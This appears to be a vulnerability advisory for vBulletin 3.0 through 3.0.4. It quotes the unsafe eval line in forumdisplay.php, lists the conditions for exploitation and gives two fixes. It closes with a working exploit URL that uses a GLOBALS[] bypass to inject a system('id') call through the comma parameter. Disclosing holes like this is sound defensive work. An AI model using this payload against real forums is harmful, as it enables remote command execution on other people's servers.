Vulnerable Systems:
----------------
vBulletin version 3.0 up to and including version 3.0.4

Immune systems:
----------------
vBulletin version 3.0.5
vBulletin version 3.0.6

Vulnerable code in forumdisplay.php :
#############################################################
if ($vboptions['showforumusers'])
{
.
.
.
.

if ($bbuserinfo['userid'])
{
.
.
.
.
$comma = ', ';
}
.
.
.
.
while ($loggedin = $DB_site->fetch_array($forumusers))
{
.
.
.
eval('$activeusers .= "' . $comma . fetch_template('forumdisplay_loggedinuser') . '";'); <<==== (Vuln)
$comma = ', ';
.
.
}
.
.
}

#############################################################

Conditions:
----------------
1st condition : $vboptions['showforumusers'] == True , the admin must set
showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you
visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ;)))

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';

Exploit:
----------------
example :
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

[ reply ]